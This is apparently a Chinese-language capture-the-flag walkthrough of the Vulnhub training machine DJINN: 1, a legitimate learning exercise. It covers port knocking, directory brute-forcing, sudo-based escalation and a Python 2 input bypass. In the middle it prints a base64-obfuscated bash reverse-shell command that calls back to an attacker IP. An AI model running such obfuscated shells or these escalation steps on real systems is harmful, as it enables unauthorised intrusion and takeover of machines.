Vulnhub靶机渗透 — DJINN: 1
0x00 前言:
介系一个及其简单的靶机
非常适合新玩家对她进行渗透 (可以从这里下哦)
啊是的没了,就这些
0x01 信息收集:
进行常规的靶机安装操作后(还是用的VirtualBox),可以发现这台靶机是非常贴心的,已经告诉我们ip了,就不需要我们直接再去扫网段了
简单地用nmap扫描一下能够获得大部分内容
可以发现ssh是被过滤的,我的脑袋瓜啊一下子就想到了knockd,但是重新用sV扫全端口还是不对,要么就是没有这个漏洞,要么就是端口顺序不对
由于我们还能看见后面还有俩不知道的端口,所以单独对他们进行sV版本扫描
1337不知道是什么,7331说是一个http,但是我们进入http里却发现好像就是一个静态页面
那就只能再去看看ftp里有没有东西可以看看了
进去发现有三个txt,全都下载下来打开看看
第一个应该是用户名和密码,然后还说了一个port 1337里有一个游戏,第三段不知道有啥用
那我们用netcat连接1337看看是什么
发现是一个数字游戏,要求我们1000次才能给我们gift?(但是我就回车了一下干嘛还要骂我一下)
现在信息收集结束。
0x02 渗透过程
现在正式开始渗透
由于这个让我们输入1000次,太累了
那就写个脚本吧,一开始想到用pwntools,但是不会用…
所以我们还是写一个socket套接字好了,这个简单很多
诶好啦好啦别骂我啦,我知道我脚本写的差,这个过滤真是我慢慢试出来的,而且socket有点奇怪,必须recv两次结果才是完整的,所以有点长,而且有的时候还会报错接收不到信息,多跑几次就好了,最后再print的是结果,因为怕被刷掉了,然后就写了三次,我真的知道写的很差了,你们可以自己按照自己的理解去写一个
然后跑一下
得到了三串数字
1356 6784 3409
因为之前有过一场比赛就是knockd,但是那时候没做出来,所以对端口的敏感性很强,这个应该就是knockd敲击端口然后开放一个新的端口或者怎么样的,一想到之前的22被过滤了,一下子就说的通了,我们直接用nc按照顺序连接这三个端口
所以猜想成立,效果实现了,接着直接拿之前的账号密码去登录试试
现在线索断了,可能并没有这么简单,回想到7331,可以试试dirb去扫描一下目录,看看有没有漏下的
这边有点坑,我的字典死活爆不出来,因为我习惯命令行的dirb了,所以很多字典都加载不出来,最后是用图形化才加载出来的,而且爆了半天才出来
进去发现应该是一个WebShell,直接弹个shell过来(试了一下一直弹不出来,跳出来的页面还以为是文件包含,应该是做了过滤字符的,还是加密一下再传过去试试)
#这边是代码 (不会用这个编辑器,显示出来的效果有点low...
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIzMy4yMi80NDU1IDA+JjEK | base64 -d | bash
接下来反正常规操作sudo -l 或者find / -perm -4000 2>/dev/null
But!
没有什么有价值的信息,那就继续在当前目录下的一个个文件一个个看吧(我不适合代码审计 因为之前nmap上扫到了80端口的http服务是Python运行的,所以可以看看代码学习学习OuO
从源代码就能发现他的过滤代码,然后还能发现又一个creds
之前看到creds单词的时候是从ftp里看见的,说明之前ftp的权限就是这个用户的?,那么我们就去这个用户的目录看看
可以发现很寒酸啊,唯一的一个user的标志还没有权限,那还是去.dev看看吧
就一个creds,说明这俩不一样啊,cat一下发现里面写的是之前拿到的那个用户的密码
也就是说之前的那个用户密码是错的,这个才是对的,然后就可以通过ssh去进入该服务器,十分合理
直接登录ssh,成功登录,猜想验证成功
还是老套的sudo -l 和 SUID的查询
But! 这边sudo -l直接就看见了一个无需密码的权限
genie没听说过,不过linux有句老话说的好啊,有问题找男人
我们直接man genie看看
不理解,一个个试试看,最终发现那个-g会骂我一下,-p和-e都会显示啥啥啥wish什么的,反正就是报错,然后-cmd才是正确的,直接就进了一个shell了
这交啥?这叫问号大法好啊,直接给我试出来了
还是老套路直接sudo -l发现存在一个无密码的root权限执行lago命令
直接sudo lago看看会怎么样
发现是让我选个什么东西啊,一轮下来发现4是骂我的(我发现这个靶机很喜欢骂人哈
然后其他的都是balabal的在说话,就3选项应该有用
但是用他还看不了passwd??
线索又断了,但是其实忘记了一个地方,就是sam的home目录我们还没去过,然后一去一看,靠,果然就是在里面…
最后一个文件肯定没用,因为是0大小,所以不看了,还有一个.pyc是Python文件的编译后的一个文件,可以拿出来反编译试试运气
直接用nc拿出来然后拿去反编译脚本跑一下就行
uncompyle6 1.pyc > fin.py
看看成果
所以就知道了这个玩意就是不能看文件的,一定要猜数字才行
之前有做过一个研究,就是输入的内容是字符串和变量名去比较,然后是可以直接绕过的(现在又试了一下发现好像只适用于Python2
然后再去看那个源代码的语法,从print中直接可以知道是Python2的语法,所以上面说到的绕过成立,如果你嫌这种分析麻烦,也可以直接猜数字哈
最后直接sudo lago然后选择3选项输入payload “num” (就让我说她是一个payload吧
直接得到根用户权限
实验结束,关闭靶机
0x03 小结
本次主要考点为目录爆破、knockd敲击端口服务的敏感性、简单的字符绕过的应对方式以及对于Python源码和Python的小bug的了解,简单还是很简单的,这台靶机重要的就是勇于尝试,还有就是不要忘记看home目录…
还是很推荐大家可以自己下载来玩一玩,挺简单的